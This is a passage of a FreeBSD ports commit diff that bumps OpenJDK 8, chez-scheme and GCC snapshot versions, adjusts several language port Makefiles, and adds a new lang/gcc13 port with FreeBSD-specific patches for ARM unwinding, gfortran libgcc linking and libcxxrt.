+-sqlalchemy<1.4; python_version != '3.3' ++praw ++geoip2 ++requests ++urllib3 ++dnspython ++sqlalchemy diff --git a/irc/py-sopel/files/pkg-message.in b/irc/py-sopel/files/pkg-message.in new file mode 100644 index 00000000000..119c74c283a --- /dev/null +++ b/irc/py-sopel/files/pkg-message.in @@ -0,0 +1,45 @@ +[ +{ + type: install + message: <= 160 +# clang 16 defaults to C++17, which no longer allows the 'register' keyword. +# There is an upstream commit that removes all the individual 'register' +# keywords, but it has not yet been backported to OpenJDK 8. +# NOTE: passing this option via --with-extra-cflags does not work. +CFLAGS+= -Dregister= +.endif .endif # GCC is broken with PCH: https://lists.freebsd.org/pipermail/svn-src-all/2015-March/101722.html diff --git a/java/openjdk8/distinfo b/java/openjdk8/distinfo index bfecfa9028f..589165d0936 100644 --- a/java/openjdk8/distinfo +++ b/java/openjdk8/distinfo @@ -1,5 +1,5 @@ -TIMESTAMP = 1674430820 +TIMESTAMP = 1682745888 SHA256 (jtreg4.1-b08.tar.gz) = a9fbfac903313c12687e60978c4688c20189cdf873560125917d6ad53d55b30c SIZE (jtreg4.1-b08.tar.gz) = 6834252 -SHA256 (battleblow-jdk8u-8.362.09.1-jdk8u362-b09.1_GH0.tar.gz) = f83521fc9662a2caca2e1c893c50a0d9eb7e5d2eb1d685dece8112e6a699c696 -SIZE (battleblow-jdk8u-8.362.09.1-jdk8u362-b09.1_GH0.tar.gz) = 88539791 +SHA256 (battleblow-jdk8u-8.372.07.1-jdk8u372-b07.1_GH0.tar.gz) = 56938ac5443d522193e1f53bcf2e73663b2228724eb558e104925dfa029ebf2a +SIZE (battleblow-jdk8u-8.372.07.1-jdk8u372-b07.1_GH0.tar.gz) = 88590956 diff --git a/java/openjdk8/files/patch-common_autoconf_generated-configure.sh b/java/openjdk8/files/patch-common_autoconf_generated-configure.sh deleted file mode 100644 index ff1b620587c..00000000000 --- a/java/openjdk8/files/patch-common_autoconf_generated-configure.sh +++ /dev/null @@ -1,11 +0,0 @@ ---- common/autoconf/generated-configure.sh.orig 2022-11-10 08:32:52 UTC -+++ common/autoconf/generated-configure.sh -@@ -55202,7 +55202,7 @@ fi - printf "A new configuration has been successfully created in\n" - printf "$OUTPUT_ROOT\n" - if test "x$CONFIGURE_COMMAND_LINE" != x; then -- printf "using configure arguments '$CONFIGURE_COMMAND_LINE'.\n" -+ printf "using configure arguments '%s'.\n" "$CONFIGURE_COMMAND_LINE" - else - printf "using default settings.\n" - fi diff --git a/java/openjdk8/files/patch-common_autoconf_help.m4 b/java/openjdk8/files/patch-common_autoconf_help.m4 deleted file mode 100644 index 91803c08605..00000000000 --- a/java/openjdk8/files/patch-common_autoconf_help.m4 +++ /dev/null @@ -1,11 +0,0 @@ ---- common/autoconf/help.m4.orig 2022-11-10 08:32:46 UTC -+++ common/autoconf/help.m4 -@@ -183,7 +183,7 @@ AC_DEFUN_ONCE([HELP_PRINT_SUMMARY_AND_WARNINGS], - printf "A new configuration has been successfully created in\n" - printf "$OUTPUT_ROOT\n" - if test "x$CONFIGURE_COMMAND_LINE" != x; then -- printf "using configure arguments '$CONFIGURE_COMMAND_LINE'.\n" -+ printf "using configure arguments '%s'.\n" "$CONFIGURE_COMMAND_LINE" - else - printf "using default settings.\n" - fi diff --git a/lang/Makefile b/lang/Makefile index 80f41261ee8..e36bf445f43 100644 --- a/lang/Makefile +++ b/lang/Makefile @@ -93,6 +93,7 @@ SUBDIR += gcc11-devel SUBDIR += gcc12 SUBDIR += gcc12-devel + SUBDIR += gcc13 SUBDIR += gcc13-devel SUBDIR += gcc14-devel SUBDIR += gcc48 diff --git a/lang/chez-scheme/Makefile b/lang/chez-scheme/Makefile index d94ea3946b1..9e62f4e83e6 100644 --- a/lang/chez-scheme/Makefile +++ b/lang/chez-scheme/Makefile @@ -1,10 +1,12 @@ PORTNAME= chez-scheme -PORTVERSION= 9.5.8 +PORTVERSION= 9.5.8a DISTVERSIONPREFIX= v CATEGORIES= lang -MASTER_SITES= http://distfiles.pirateparty.in/ashish/:boot \ +MASTER_SITES= https://github.com/cisco/ChezScheme/releases/download/${DISTVERSIONPREFIX}${DISTVERSION}/ \ + http://distfiles.pirateparty.in/ashish/:boot \ LOCAL/ashish:boot -DISTFILES= ${PORTNAME}-boot-ta6fb-${PORTVERSION}.tar.xz:boot \ +DISTFILES= csv9.5.8${EXTRACT_SUFX} \ + ${PORTNAME}-boot-ta6fb-${PORTVERSION}.tar.xz:boot \ ${PORTNAME}-boot-ti3fb-${PORTVERSION}.tar.xz:boot MAINTAINER= ashish@FreeBSD.org @@ -20,13 +22,6 @@ LIB_DEPENDS= libuuid.so:misc/e2fsprogs-libuuid \ libossp-uuid.so:misc/ossp-uuid USES= gmake iconv:lib ncurses -USE_GITHUB= yes -GH_ACCOUNT= cisco -GH_PROJECT= ChezScheme -GH_TUPLE= nanopass:nanopass-framework-scheme:v1.9.2:nanopass/nanopass \ - madler:zlib:v1.2.12:zlib/zlib \ - dybvig:stex:v1.2.2:stex/stex \ - lz4:lz4:v1.9.3:lz4/lz4 OPTIONS_DEFAULT= X11 OPTIONS_DEFINE= X11 @@ -35,7 +30,8 @@ HAS_CONFIGURE= yes ALL_TARGET= build CONFLICTS_INSTALL= petite-chez STRIP_FILES= bin/petite bin/${PORTNAME} bin/${PORTNAME}-script -CHEZ_LIBDIR=lib/csv${PORTVERSION} +CHEZ_LIBDIR=lib/csv9.5.8 +WRKSRC= ${WRKDIR}/csv9.5.8 CFLAGS+= -fPIC CFLAGS+= -I${LOCALBASE}/include LDFLAGS+= -L${LOCALBASE}/lib -luuid diff --git a/lang/chez-scheme/distinfo b/lang/chez-scheme/distinfo index 45a521a492e..b6c793a7ab9 100644 --- a/lang/chez-scheme/distinfo +++ b/lang/chez-scheme/distinfo @@ -1,15 +1,7 @@ -TIMESTAMP = 1650951306 -SHA256 (chez-scheme-boot-ta6fb-9.5.8.tar.xz) = 198a848ecaab4c0e15caf6fb5cfabf7444413b6348ceb1d0fa481f45b0e1066f -SIZE (chez-scheme-boot-ta6fb-9.5.8.tar.xz) = 2125848 -SHA256 (chez-scheme-boot-ti3fb-9.5.8.tar.xz) = c81dab1138533b9ed9c2d2eb591d70afd293bf3d612f5fe079b611f1ec771462 -SIZE (chez-scheme-boot-ti3fb-9.5.8.tar.xz) = 2073044 -SHA256 (cisco-ChezScheme-v9.5.8_GH0.tar.gz) = a00b1fb1c175dd51ab2efee298c3323f44fe901ab3ec6fbb6d7a3d9ef66bf989 -SIZE (cisco-ChezScheme-v9.5.8_GH0.tar.gz) = 32917460 -SHA256 (nanopass-nanopass-framework-scheme-v1.9.2_GH0.tar.gz) = 46d3ab75f425ef93a6ac31f0b0b2f893b9cb3154219832ad52ea044dd36b021c -SIZE (nanopass-nanopass-framework-scheme-v1.9.2_GH0.tar.gz) = 437581 -SHA256 (madler-zlib-v1.2.12_GH0.tar.gz) = d8688496ea40fb61787500e863cc63c9afcbc524468cedeb478068924eb54932 -SIZE (madler-zlib-v1.2.12_GH0.tar.gz) = 1547173 -SHA256 (dybvig-stex-v1.2.2_GH0.tar.gz) = 7edce38bcafe493bcddfce85cc8ce1dbaae6c847c9d07fd1e1b2f9af19fe71cd -SIZE (dybvig-stex-v1.2.2_GH0.tar.gz) = 211032 -SHA256 (lz4-lz4-v1.9.3_GH0.tar.gz) = 030644df4611007ff7dc962d981f390361e6c97a34e5cbc393ddfbe019ffe2c1 -SIZE (lz4-lz4-v1.9.3_GH0.tar.gz) = 320958 +TIMESTAMP = 1682796733 +SHA256 (csv9.5.8.tar.gz) = e5f8de4e9758cfbbd33caece157a9878fa18f8b2f9aa5e343eeefa14dd555642 +SIZE (csv9.5.8.tar.gz) = 35489260 +SHA256 (chez-scheme-boot-ta6fb-9.5.8a.tar.xz) = bddec1d95b6616d592d2e0dc741e78faf3d7055ceabf8837880eae33a1516226 +SIZE (chez-scheme-boot-ta6fb-9.5.8a.tar.xz) = 2125964 +SHA256 (chez-scheme-boot-ti3fb-9.5.8a.tar.xz) = 3b7ae54ba7da93cb547fbfbc5c2733e72e3e7f5d1681bc185250807a2acd291b +SIZE (chez-scheme-boot-ti3fb-9.5.8a.tar.xz) = 2072924 diff --git a/lang/erlang-runtime22/Makefile b/lang/erlang-runtime22/Makefile index 0331ccd7a2d..73498f6acb9 100644 --- a/lang/erlang-runtime22/Makefile +++ b/lang/erlang-runtime22/Makefile @@ -84,6 +84,8 @@ ODBC_CFLAGS= -I/usr/local/include ODBC_LDFLAGS= -L/usr/local/lib OPENSSL_USES= ssl OPENSSL_CONFIGURE_WITH= ssl=${OPENSSLBASE} +OPENSSL_VARS= BROKEN_SSL="openssl30 openssl31" \ + BROKEN_SSL_REASON="Cannot find function FIPS_mode" SCTP_CONFIGURE_ENABLE= sctp THREADS_CONFIGURE_ENABLE= threads WX_USES= gl diff --git a/lang/f2c/Makefile b/lang/f2c/Makefile index b335825f453..23e97cc91fa 100644 --- a/lang/f2c/Makefile +++ b/lang/f2c/Makefile @@ -20,6 +20,8 @@ BROKEN_mips64= fails to compile: /usr/include/sigfpe.h: No such file or directo USES= gmake USE_LDCONFIG= yes +MAKE_JOBS_UNSAFE= yes + LIBVER= 2 SIMPLEDIST= changes f2c.1 f2c.1t f2c.h f2c.pdf fc getopt.c README diff --git a/lang/fpc/Makefile b/lang/fpc/Makefile index ac65ead8ab1..b6c45612f9b 100644 --- a/lang/fpc/Makefile +++ b/lang/fpc/Makefile @@ -1,6 +1,6 @@ PORTNAME= fpc PORTVERSION= 3.2.2 -PORTREVISION?= 3 +PORTREVISION?= 4 CATEGORIES?= lang MASTER_SITES= SF/freepascal/Source/${PORTVERSION}:source \ https://downloads.freepascal.org/${PORTNAME}/dist/${PORTVERSION}/source/:source \ diff --git a/lang/gcc11-devel/Makefile b/lang/gcc11-devel/Makefile index 66a873edbb5..69bef3dfd71 100644 --- a/lang/gcc11-devel/Makefile +++ b/lang/gcc11-devel/Makefile @@ -1,6 +1,5 @@ PORTNAME= gcc -PORTVERSION= 11.3.1.s20230420 -PORTREVISION= 1 +PORTVERSION= 11.3.1.s20230427 CATEGORIES= lang MASTER_SITES= GCC/snapshots/${DIST_VERSION} PKGNAMESUFFIX= ${SUFFIX}-devel @@ -128,8 +127,10 @@ INFO= gcc${SUFFIX}/cpp \ gcc${SUFFIX}/libgccjit \ gcc${SUFFIX}/libgomp .if ${ARCH} == amd64 || ${ARCH} == i386 -INFO+= gcc${SUFFIX}/libquadmath \ - gcc${SUFFIX}/libitm +INFO+= gcc${SUFFIX}/libquadmath +.endif +.if ${ARCH} == amd64 || ${ARCH} == i386 || ${ARCH} == aarch64 +INFO+= gcc${SUFFIX}/libitm .endif SUB_FILES= pkg-message SUB_LIST+= TARGLIB=${TARGLIB} diff --git a/lang/gcc11-devel/distinfo b/lang/gcc11-devel/distinfo index dadd53bd9a6..e503752450d 100644 --- a/lang/gcc11-devel/distinfo +++ b/lang/gcc11-devel/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1682060347 -SHA256 (gcc-11-20230420.tar.xz) = d50f8f63d734cf3bbdf596a44640572a47426d7757f3ab01f649577fcb70d11d -SIZE (gcc-11-20230420.tar.xz) = 76157984 +TIMESTAMP = 1682666247 +SHA256 (gcc-11-20230427.tar.xz) = de45cc17402f16ee39f2ae1bd2a63e85db8d4a323129b2108f2ce085bb2d0812 +SIZE (gcc-11-20230427.tar.xz) = 76165128 diff --git a/lang/gcc12-devel/Makefile b/lang/gcc12-devel/Makefile index 980fa71fd20..85478ef7968 100644 --- a/lang/gcc12-devel/Makefile +++ b/lang/gcc12-devel/Makefile @@ -1,6 +1,5 @@ PORTNAME= gcc -PORTVERSION= 12.2.1.s20230421 -PORTREVISION= 1 +PORTVERSION= 12.2.1.s20230428 CATEGORIES= lang MASTER_SITES= GCC/snapshots/${DIST_VERSION} PKGNAMESUFFIX= ${SUFFIX}-devel @@ -128,8 +127,10 @@ INFO= gcc${SUFFIX}/cpp \ gcc${SUFFIX}/libgccjit \ gcc${SUFFIX}/libgomp .if ${ARCH} == amd64 || ${ARCH} == i386 -INFO+= gcc${SUFFIX}/libquadmath \ - gcc${SUFFIX}/libitm +INFO+= gcc${SUFFIX}/libquadmath +.endif +.if ${ARCH} == amd64 || ${ARCH} == i386 || ${ARCH} == aarch64 +INFO+= gcc${SUFFIX}/libitm .endif SUB_FILES= pkg-message SUB_LIST+= TARGLIB=${TARGLIB} diff --git a/lang/gcc12-devel/distinfo b/lang/gcc12-devel/distinfo index 65328453b87..7d192ab004f 100644 --- a/lang/gcc12-devel/distinfo +++ b/lang/gcc12-devel/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1682175070 -SHA256 (gcc-12-20230421.tar.xz) = 9e6e42d2e02db6c9c0bd01eb7ae79eaa6d699803ee0cebf5bd2f6b8e5cdb1cab -SIZE (gcc-12-20230421.tar.xz) = 79737436 +TIMESTAMP = 1682755622 +SHA256 (gcc-12-20230428.tar.xz) = a1d7281b58493ff316f5cb9817816abefbcbb09d3b8b75100c164cae1a67f727 +SIZE (gcc-12-20230428.tar.xz) = 79744932 diff --git a/lang/gcc13-devel/Makefile b/lang/gcc13-devel/Makefile index bbdc7fe0409..788dc2b7f96 100644 --- a/lang/gcc13-devel/Makefile +++ b/lang/gcc13-devel/Makefile @@ -1,5 +1,5 @@ PORTNAME= gcc -PORTVERSION= 13.0.1.s20230422 +PORTVERSION= 13.1.1.s20230429 CATEGORIES= lang MASTER_SITES= GCC/snapshots/${DIST_VERSION} PKGNAMESUFFIX= ${SUFFIX}-devel @@ -27,6 +27,8 @@ USES= compiler:c++11-lang cpe gmake iconv libtool makeinfo perl5 tar:xz USE_BINUTILS= yes USE_PERL5= build +CONFLICTS= gcc13 + CPE_VENDOR= gnu CPE_VERSION= ${GCC_VERSION} @@ -128,8 +130,10 @@ INFO= gcc${SUFFIX}/cpp \ gcc${SUFFIX}/libgccjit \ gcc${SUFFIX}/libgomp .if ${ARCH} == amd64 || ${ARCH} == i386 -INFO+= gcc${SUFFIX}/libquadmath \ - gcc${SUFFIX}/libitm +INFO+= gcc${SUFFIX}/libquadmath +.endif +.if ${ARCH} == amd64 || ${ARCH} == i386 || ${ARCH} == aarch64 +INFO+= gcc${SUFFIX}/libitm .endif SUB_FILES= pkg-message SUB_LIST+= TARGLIB=${TARGLIB} diff --git a/lang/gcc13-devel/distinfo b/lang/gcc13-devel/distinfo index 1d65ba21d28..cd30922d39f 100644 --- a/lang/gcc13-devel/distinfo +++ b/lang/gcc13-devel/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1682239187 -SHA256 (gcc-13-20230422.tar.xz) = 058189e9beec3df571ae06e1c37febfb943a3051659e0d33e3e2d8fa78ac71a3 -SIZE (gcc-13-20230422.tar.xz) = 83937896 +TIMESTAMP = 1682871420 +SHA256 (gcc-13-20230429.tar.xz) = 6bb99213a46d8a512f63619f0d1543f41c5fd1b5a7a5785c5f5b8bcf28d5cec1 +SIZE (gcc-13-20230429.tar.xz) = 83944828 diff --git a/lang/gcc13/Makefile b/lang/gcc13/Makefile new file mode 100644 index 00000000000..e3124b815da --- /dev/null +++ b/lang/gcc13/Makefile @@ -0,0 +1,170 @@ +PORTNAME= gcc +PORTVERSION= 13.1.0 +CATEGORIES= lang +MASTER_SITES= GCC +PKGNAMESUFFIX= ${SUFFIX} + +MAINTAINER= salvadore@FreeBSD.org +COMMENT= GNU Compiler Collection 13 +WWW= https://gcc.gnu.org + +LICENSE= GPLv3 GPLv3RLE +LICENSE_COMB= multi + +ONLY_FOR_ARCHS= aarch64 amd64 arm armv6 armv7 i386 powerpc powerpc64 powerpc64le + +LIB_DEPENDS= libgmp.so:math/gmp \ + libmpfr.so:math/mpfr \ + libmpc.so:math/mpc +BUILD_DEPENDS+= ${LOCALBASE}/bin/as:devel/binutils +RUN_DEPENDS+= ${LOCALBASE}/bin/as:devel/binutils +.if defined(MAINTAINER_MODE) +BUILD_DEPENDS+= runtest:misc/dejagnu +.endif + +USES= compiler:c++11-lang cpe gmake iconv libtool makeinfo perl5 tar:xz +USE_BINUTILS= yes +USE_PERL5= build + +CONFLICTS= gcc13-devel + +CPE_VENDOR= gnu +CPE_VERSION= ${GCC_VERSION} + +GCC_VERSION= ${PORTVERSION} +SUFFIX= ${PORTVERSION:C/([0-9]+).*/\1/} +CFLAGS:= ${CFLAGS:N-mretpoline} +CXXFLAGS:= ${CXXFLAGS:N-mretpoline} + +OPTIONS_DEFINE= GRAPHITE +OPTIONS_DEFAULT_aarch64=LTO_BOOTSTRAP +OPTIONS_DEFAULT_amd64= LTO_BOOTSTRAP +OPTIONS_DEFAULT_i386= LTO_BOOTSTRAP +OPTIONS_DEFAULT_powerpc=LTO_BOOTSTRAP +OPTIONS_DEFAULT_powerpc64=LTO_BOOTSTRAP +OPTIONS_DEFAULT_powerpc64le=LTO_BOOTSTRAP +OPTIONS_RADIO= BOOTSTRAP +OPTIONS_RADIO_BOOTSTRAP= LTO_BOOTSTRAP STANDARD_BOOTSTRAP +LTO_BOOTSTRAP_DESC= Build using a full LTO bootstrap +STANDARD_BOOTSTRAP_DESC= Build using a full bootstrap without LTO +GRAPHITE_DESC= Support for Graphite loop optimizations + +.if exists(/usr/lib32/libc.so) +OPTIONS_DEFINE_amd64+= MULTILIB +OPTIONS_DEFAULT_amd64+= MULTILIB +OPTIONS_DEFINE_powerpc64+= MULTILIB +#OPTIONS_DEFAULT_powerpc64+= MULTILIB # https://gcc.gnu.org/bugzilla/show_bug.cgi?id=105010 +MULTILIB_DESC= Build support for 32-bit and 64-bit targets +MULTILIB_CONFIGURE_ENABLE= multilib +.else +CONFIGURE_ARGS+= --disable-multilib +.endif + +.include + +.if ${ARCH} == amd64 +CONFIGURE_TARGET= x86_64-portbld-${OPSYS:tl}${OSREL} + +.elif defined(PPC_ABI) && ${PPC_ABI} == ELFv2 +CONFIGURE_ARGS+= --with-abi=elfv2 +USE_GCC= yes + +.elif ${ARCH} == powerpc64le +USE_GCC= yes +.endif + +LANGUAGES:= c,c++,objc,fortran,jit +TARGLIB= ${PREFIX}/lib/gcc${SUFFIX} +TARGLIB32= ${PREFIX}/lib32 # The version information is added later +LIBEXEC= ${PREFIX}/libexec/gcc${SUFFIX} +GNU_CONFIGURE= yes +CONFIGURE_OUTSOURCE= yes +.if empty(PORT_OPTIONS:M*BOOTSTRAP) +CONFIGURE_ARGS+=--disable-bootstrap +.elif ${PORT_OPTIONS:MLTO_BOOTSTRAP} +CONFIGURE_ARGS+=--with-build-config=bootstrap-lto-noplugin +ALL_TARGET= bootstrap-lean +PIE_UNSAFE= yes +.else +CONFIGURE_ARGS+=--with-build-config=bootstrap-debug +ALL_TARGET= bootstrap-lean +PIE_UNSAFE= yes +.endif +INSTALL_TARGET= install-strip +.if ${UID} != 0 +BINMODE= 755 +.endif +CONFIGURE_ARGS+=--disable-nls \ + --enable-gnu-indirect-function \ + --enable-host-shared \ + --enable-plugin \ + --libdir=${TARGLIB} \ + --libexecdir=${LIBEXEC} \ + --program-suffix=${SUFFIX} \ + --with-as=${LOCALBASE}/bin/as \ + --with-gmp=${LOCALBASE} \ + --with-gxx-include-dir=${TARGLIB}/include/c++/ \ + --with-gxx-libcxx-include-dir=/usr/include/c++/v1 \ + --with-ld=${LOCALBASE}/bin/ld \ + ${ICONV_CONFIGURE_ARG} \ + --with-pkgversion="FreeBSD Ports Collection" \ + --with-system-zlib \ + --without-zstd +MAKE_ARGS+= MAKEINFOFLAGS="--no-split" +USE_LDCONFIG= ${TARGLIB} +PLIST_SUB+= GCC_VERSION=${GCC_VERSION} \ + GNU_HOST=${CONFIGURE_TARGET} \ + SUFFIX=${SUFFIX} +INFO= gcc${SUFFIX}/cpp \ + gcc${SUFFIX}/cppinternals \ + gcc${SUFFIX}/gcc \ + gcc${SUFFIX}/gccinstall \ + gcc${SUFFIX}/gccint \ + gcc${SUFFIX}/gfortran \ + gcc${SUFFIX}/libgccjit \ + gcc${SUFFIX}/libgomp +# Release tarballs (as opposed to snapshots) always carry this. +INFO+= gcc${SUFFIX}/libquadmath \ + gcc${SUFFIX}/libitm +SUB_FILES= pkg-message +SUB_LIST+= TARGLIB=${TARGLIB} + +.if ${PORT_OPTIONS:MGRAPHITE} +LIB_DEPENDS+= libisl.so:devel/isl +CONFIGURE_ARGS+=--with-isl=${LOCALBASE} +.endif + +CONFIGURE_ARGS+=--enable-languages=${LANGUAGES} + +pre-everything:: + @${ECHO_MSG} "Making GCC ${PORTVERSION} for ${CONFIGURE_TARGET} [${LANGUAGES}]" + +pre-configure: + cd ${WRKSRC} ; contrib/gcc_update --touch + @${RM} ${WRKSRC}/gcc/*/*.info* + +.if defined(MAINTAINER_MODE) +full-regression-test: build + cd ${TEST_WRKSRC}; ${MAKE_CMD} -sk check \ + ; ${WRKSRC}/contrib/test_summary +.endif + +post-stage: + ${RM} ${STAGEDIR}${PREFIX}/man/man7/* + ${RM} -r ${STAGEDIR}${TARGLIB}/gcc/*/${GCC_VERSION}/include-fixed/ + # Add target libraries and include files to packaging list. + ${RM} ${WRKDIR}/PLIST.lib + +.if (${ARCH} == amd64 || ${ARCH} == powerpc64) && ${PORT_OPTIONS:MMULTILIB} + ${MKDIR} ${STAGEDIR}${TARGLIB32} + ${MV} ${STAGEDIR}${PREFIX}/lib/lib32 ${STAGEDIR}${TARGLIB32}/gcc${SUFFIX} +.endif + +.for d in ${TARGLIB:S/^${PREFIX}\///} ${TARGLIB32:S/^${PREFIX}\///} ${LIBEXEC:S/^${PREFIX}\///} + cd ${STAGEDIR}${PREFIX} ; if [ -d $d ]; then \ + ${FIND} $d -type f -o -type l >>${WRKDIR}/PLIST.lib ;\ + fi +.endfor + cd ${WRKDIR} ; ${SED} -i -e "/PLIST.lib/ r PLIST.lib" ${TMPPLIST} + +.include diff --git a/lang/gcc13/distinfo b/lang/gcc13/distinfo new file mode 100644 index 00000000000..6dd6cf78ad7 --- /dev/null +++ b/lang/gcc13/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1682499412 +SHA256 (gcc-13.1.0.tar.xz) = 61d684f0aa5e76ac6585ad8898a2427aade8979ed5e7f85492286c4dfc13ee86 +SIZE (gcc-13.1.0.tar.xz) = 87451196 diff --git a/lang/gcc13/files/patch-arm-unwind-cxx-support b/lang/gcc13/files/patch-arm-unwind-cxx-support new file mode 100644 index 00000000000..ec6959b9655 --- /dev/null +++ b/lang/gcc13/files/patch-arm-unwind-cxx-support @@ -0,0 +1,106 @@ +--- UTC +Index: gcc/ginclude/unwind-arm-common.h +=================================================================== +--- gcc/ginclude/unwind-arm-common.h (revision 219113) ++++ gcc/ginclude/unwind-arm-common.h (working copy) +@@ -82,7 +82,11 @@ + + struct _Unwind_Control_Block + { ++#ifdef __FreeBSD__ ++ unsigned exception_class __attribute__((__mode__(__DI__))); ++#else + char exception_class[8]; ++#endif + void (*exception_cleanup)(_Unwind_Reason_Code, _Unwind_Control_Block *); + /* Unwinder cache, private fields for the unwinder's use */ + struct +@@ -181,7 +185,11 @@ + + /* Support functions for the PR. */ + #define _Unwind_Exception _Unwind_Control_Block ++#ifdef __FreeBSD__ ++ typedef unsigned _Unwind_Exception_Class __attribute__((__mode__(__DI__))); ++#else + typedef char _Unwind_Exception_Class[8]; ++#endif + + void * _Unwind_GetLanguageSpecificData (_Unwind_Context *); + _Unwind_Ptr _Unwind_GetRegionStart (_Unwind_Context *); +Index: libstdc++-v3/libsupc++/unwind-cxx.h +=================================================================== +--- libstdc++-v3/libsupc++/unwind-cxx.h (revision 219147) ++++ libstdc++-v3/libsupc++/unwind-cxx.h (working copy) +@@ -235,7 +235,7 @@ + return reinterpret_cast<__cxa_dependent_exception *>(exc + 1) - 1; + } + +-#ifdef __ARM_EABI_UNWINDER__ ++#if defined(__ARM_EABI_UNWINDER__) && !defined(__FreeBSD__) + static inline bool + __is_gxx_exception_class(_Unwind_Exception_Class c) + { +@@ -309,13 +309,7 @@ + c[6] = 'R'; + c[7] = '\0'; + } +- +-static inline void* +-__gxx_caught_object(_Unwind_Exception* eo) +-{ +- return (void*)eo->barrier_cache.bitpattern[0]; +-} +-#else // !__ARM_EABI_UNWINDER__ ++#else // !__ARM_EABI_UNWINDER__ || __FreeBSD__ + // This is the primary exception class we report -- "GNUCC++\0". + const _Unwind_Exception_Class __gxx_primary_exception_class + = ((((((((_Unwind_Exception_Class) 'G' +@@ -339,6 +333,16 @@ + << 8 | (_Unwind_Exception_Class) '+') + << 8 | (_Unwind_Exception_Class) '\x01'); + ++const _Unwind_Exception_Class __gxx_forced_unwind_class ++= ((((((((_Unwind_Exception_Class) 'G' ++ << 8 | (_Unwind_Exception_Class) 'N') ++ << 8 | (_Unwind_Exception_Class) 'U') ++ << 8 | (_Unwind_Exception_Class) 'C') ++ << 8 | (_Unwind_Exception_Class) 'F') ++ << 8 | (_Unwind_Exception_Class) 'O') ++ << 8 | (_Unwind_Exception_Class) 'R') ++ << 8 | (_Unwind_Exception_Class) '\0'); ++ + static inline bool + __is_gxx_exception_class(_Unwind_Exception_Class c) + { +@@ -346,6 +350,12 @@ + || c == __gxx_dependent_exception_class; + } + ++static inline bool ++__is_gxx_forced_unwind_class(_Unwind_Exception_Class c) ++{ ++ return c == __gxx_forced_unwind_class; ++} ++ + // Only checks for primary or dependent, but not that it is a C++ exception at + // all. + static inline bool +@@ -357,7 +367,18 @@ + #define __GXX_INIT_PRIMARY_EXCEPTION_CLASS(c) c = __gxx_primary_exception_class + #define __GXX_INIT_DEPENDENT_EXCEPTION_CLASS(c) \ + c = __gxx_dependent_exception_class ++#define __GXX_INIT_FORCED_UNWIND_CLASS(c) c = __gxx_forced_unwind_class ++#endif // __ARM_EABI_UNWINDER__ && !__FreeBSD__ + ++#ifdef __ARM_EABI_UNWINDER__ ++static inline void* ++__gxx_caught_object(_Unwind_Exception* eo) ++{ ++ return (void*)eo->barrier_cache.bitpattern[0]; ++} ++ ++#else // !__ARM_EABI_UNWINDER__ ++ + // GNU C++ personality routine, Version 0. + extern "C" _Unwind_Reason_Code __gxx_personality_v0 + (int, _Unwind_Action, _Unwind_Exception_Class, diff --git a/lang/gcc13/files/patch-gfortran-libgcc b/lang/gcc13/files/patch-gfortran-libgcc new file mode 100644 index 00000000000..fb7b66814f9 --- /dev/null +++ b/lang/gcc13/files/patch-gfortran-libgcc @@ -0,0 +1,69 @@ +GCC has two runtime libraries: The static library libgcc.a (-lgcc) and +the shared library libgcc_s.so (-lgcc_s). Both implement many of the +same functions but they also each have their unique functions. When +gcc links programs and libraries there are three possibilities: + +1. gcc -static-libgcc or gcc -static: -lgcc + => Just use libgcc.a. + +2. gcc -shared-libgcc: -lgcc_s -lgcc + => Link with libgcc_s first, so libgcc.a is only used for its unique + functions. + +3. gcc: -lgcc -Wl,--as-needed -lgcc_s -Wl,--no-as-needed + => Link with libgcc.a first so libgcc_s is only used for its unique + functions (_Unwind_* functions). + +Approach 3 is the default for gcc and it's also what clang and clang++ use; +approach 2 is the default for gfortran, g++ and probably other front ends. + +This patch makes 3 the default for gfortran. It significantly reduces +the use of libgcc_s. The _Unwind_* functions are also available in the +old base system libgcc_s which means this reduces the need for +-rpath /usr/local/lib/gccN in ports that depend on libraries built with +gfortran. Consider a dependency tree like this: + + prog -> libA -> libgcc_s (old base system libgcc_s is fine) + -> libB -> libgcc_s (libB built with gfortran, needs new libgcc_s) + +Here prog needs to be linked with -rpath /usr/local/lib/gccN even if it's +a normal C program compiled with clang. Without -rpath it will fail to +start because it loads old libgcc_s first as a dependency of libA and then +it fails to load libB. With this patch libB works with old base system +libgcc_s or may not need libgcc_s at all, so prog does not need to be +linked with -rpath. + +Upstream is unlikely accept a patch like this because libgfortran calls +some _Unwind_* functions and so always needs libgcc_s. Also because +every Fortran program and library links to libgfortran it makes sense +that option 2 above is the default. On FreeBSD where clang and GCC +compiled code can be mixed and where multiple libgcc_s may be installed, +option 3 is just a lot easier to deal with. + +The bug that sparked this is PR 208120 (but note there's a lot of +misleading information in that bug. CMake is not actually doing +anything wrong.) + +--- UTC +--- gcc/fortran/gfortranspec.cc.orig 2022-01-23 22:32:06.000000000 +0000 ++++ gcc/fortran/gfortranspec.cc 2022-02-06 08:56:31.018286000 +0000 +@@ -406,7 +406,7 @@ + } + } + +-#ifdef ENABLE_SHARED_LIBGCC ++#if 0 + if (library) + { + unsigned int i; +--- libgfortran/Makefile.in.orig ++++ libgfortran/Makefile.in +@@ -736,7 +736,7 @@ + $(LTLDFLAGS) $(LIBQUADLIB) ../libbacktrace/libbacktrace.la \ + $(HWCAP_LDFLAGS) \ + $(LIBM) $(extra_ldflags_libgfortran) \ +- $(version_arg) -Wc,-shared-libgcc ++ $(version_arg) + + libgfortran_la_DEPENDENCIES = $(version_dep) libgfortran.spec $(LIBQUADLIB_DEP) + cafexeclib_LTLIBRARIES = libcaf_single.la diff --git a/lang/gcc13/files/patch-libcxxrt b/lang/gcc13/files/patch-libcxxrt new file mode 100644 index 00000000000..4225df7aad1 --- /dev/null +++ b/lang/gcc13/files/patch-libcxxrt @@ -0,0 +1,18 @@ +libc++ on FreeBSD always uses PathScale libcxxrt and cannot change to +LLVM libc++abi without breaking backward compatibility. Besides, mixing +different C++ ABIs is not supported unless subset via DT_FILTER. + +https://github.com/llvm/llvm-project/commit/35479ffb1251 +https://github.com/freebsd/freebsd-src/commit/cf56074e5271 + +--- gcc/cp/g++spec.cc.orig 2022-07-31 22:32:16 UTC ++++ gcc/cp/g++spec.cc +@@ -60,7 +60,7 @@ along with GCC; see the file COPYING3. If not see + #endif + + #ifndef LIBCXXABI +-#define LIBCXXABI "c++abi" ++#define LIBCXXABI "cxxrt" + #endif + #ifndef 